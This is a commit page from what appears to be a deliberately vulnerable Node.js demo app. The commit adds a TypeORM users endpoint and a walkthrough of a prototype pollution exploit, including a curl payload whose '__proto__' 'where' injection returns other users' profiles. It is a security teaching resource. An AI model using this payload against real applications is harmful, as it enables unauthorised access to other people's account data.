Skip to content

Commit be9a290

Browse files
authored
feat: add prototype pollution exploit in typeorm (snyk-labs#784)
* feat: add prototype pollution exploit in typeorm * fix: container and db setup
1 parent 0bd4d3c commit be9a290

10 files changed

+896
-99
lines changed

app.js

+5-1
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,8 @@
33
*/
44

55
// mongoose setup
6-
require('./db');
6+
require('./mongoose-db');
7+
require('./typeorm-db')
78

89
var st = require('st');
910
var crypto = require('crypto');
@@ -25,6 +26,7 @@ var cons = require('consolidate');
2526

2627
var app = express();
2728
var routes = require('./routes');
29+
var routesUsers = require('./routes/users.js')
2830

2931
// all environments
3032
app.set('port', process.env.PORT || 3001);
@@ -54,6 +56,8 @@ app.get('/about_new', routes.about_new);
5456
app.get('/chat', routes.chat.get);
5557
app.put('/chat', routes.chat.add);
5658
app.delete('/chat', routes.chat.delete);
59+
app.use('/users', routesUsers)
60+
5761
// Static
5862
app.use(st({ path: './public', url: '/public' }));
5963

docker-compose.yml

+8
Original file line numberDiff line numberDiff line change
@@ -17,3 +17,11 @@ services:
1717
image: mongo
1818
ports:
1919
- "27017:27017"
20+
good-mysql:
21+
container_name: goof-mysql
22+
image: mysql:5
23+
environment:
24+
MYSQL_ROOT_PASSWORD: root
25+
MYSQL_DATABASE: acme
26+
ports:
27+
- "3306:3306"

entity/Users.js

+19
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
module.exports = {
2+
name: "Users",
3+
columns: {
4+
id: {
5+
primary: true,
6+
type: "int",
7+
generated: true
8+
},
9+
name: {
10+
type: "varchar"
11+
},
12+
address: {
13+
type: "varchar"
14+
},
15+
role: {
16+
type: "varchar"
17+
}
18+
}
19+
};
+82
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,82 @@
1+
# Prototype Pollution in TypeORM
2+
3+
Prototype Pollution in TypeORM can lead to SQL Injection attacks in both MongoDB and MySQL types of databases, as well as Denial of Service or escalate to other types of attacks for a vulnerable Node.js web application.
4+
5+
## Requirements
6+
7+
You'll need a MySQL server running. Try this:
8+
9+
```sh
10+
# use mysql:5 as that still supports the good old native password mechanism to login
11+
# and keep things simple for the demo
12+
docker run -p3306:3306 --rm --name mysqld -e MYSQL_ROOT_PASSWORD=root mysql:5
13+
```
14+
15+
Create the dummy `acme` database:
16+
```sh
17+
create database acme;
18+
```
19+
20+
For the MySQL client (to browse database records and such):
21+
```sh
22+
docker exec -it mysqld mysql -uroot -p
23+
```
24+
25+
## Setup
26+
27+
The root file `./typeorm-db.js` gets called when the app starts and seeds the database with 2 sample users.
28+
29+
## Exploit scenario
30+
31+
### Step 1 - Normal request
32+
33+
You can create new users via POST /users
34+
35+
```sh
36+
curl --request POST \
37+
--url http://localhost:3001/users \
38+
--header 'content-type: application/json' \
39+
--data '{
40+
"name": "a",
41+
"address": "vvv",
42+
"role": "user"
43+
}'
44+
```
45+
46+
### Step 2 - A request to get your own profile
47+
48+
A request to get your own profile always results in your own user (right now hard-coded with id:1)
49+
50+
```sh
51+
curl --request GET \
52+
--url http://localhost:3001/users \
53+
--header 'content-type: application/json'
54+
```
55+
56+
### Step 3 - Poison the Object's prototype
57+
58+
We now send a request that creates a user, but poison the prototype chain through an insecure
59+
merge of objects that happens within TypeORM's code, and results in `Object` having a `where` object property.
60+
61+
```sh
62+
curl --request POST \
63+
--url http://localhost:3001/users \
64+
--header 'content-type: application/json' \
65+
--data '{
66+
"name": "a",
67+
"address": {
68+
"__proto__": {
69+
"where": {
70+
"id": "2",
71+
"where": null
72+
}
73+
}
74+
}
75+
}'
76+
```
77+
78+
### Step 4 - Fetch your profile again
79+
80+
Now go back to Step 1 and fetch the user profile again.
81+
Now you get profile 2 instead of the hard-code profile id 1. Why does it happen?
82+
Because with TypeORM's `where` clause takes precendence over the `id` specifier and we're now able to enumerate and get every account id we want.

db.js mongoose-db.js

+7-7
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
var mongoose = require('mongoose');
22
var cfenv = require("cfenv");
3-
var Schema = mongoose.Schema;
3+
var Schema = mongoose.Schema;
44

55
var Todo = new Schema({
66
content: Buffer,
@@ -22,7 +22,7 @@ console.log(JSON.stringify(cfenv.getAppEnv()));
2222

2323
// Default Mongo URI is local
2424
const DOCKER = process.env.DOCKER
25-
if ( DOCKER === '1') {
25+
if (DOCKER === '1') {
2626
var mongoUri = 'mongodb://goof-mongo/express-todo';
2727
} else {
2828
var mongoUri = 'mongodb://localhost/express-todo';
@@ -50,9 +50,9 @@ User.find({ username: 'admin' }).exec(function (err, users) {
5050
if (users.length === 0) {
5151
console.log('no admin');
5252
new User({ username: 'admin', password: 'SuperSecretPassword' }).save(function (err, user, count) {
53-
if (err) {
54-
console.log('error saving admin user');
55-
}
56-
});
53+
if (err) {
54+
console.log('error saving admin user');
55+
}
56+
});
5757
}
58-
});
58+
});

0 commit comments

Comments
 (0)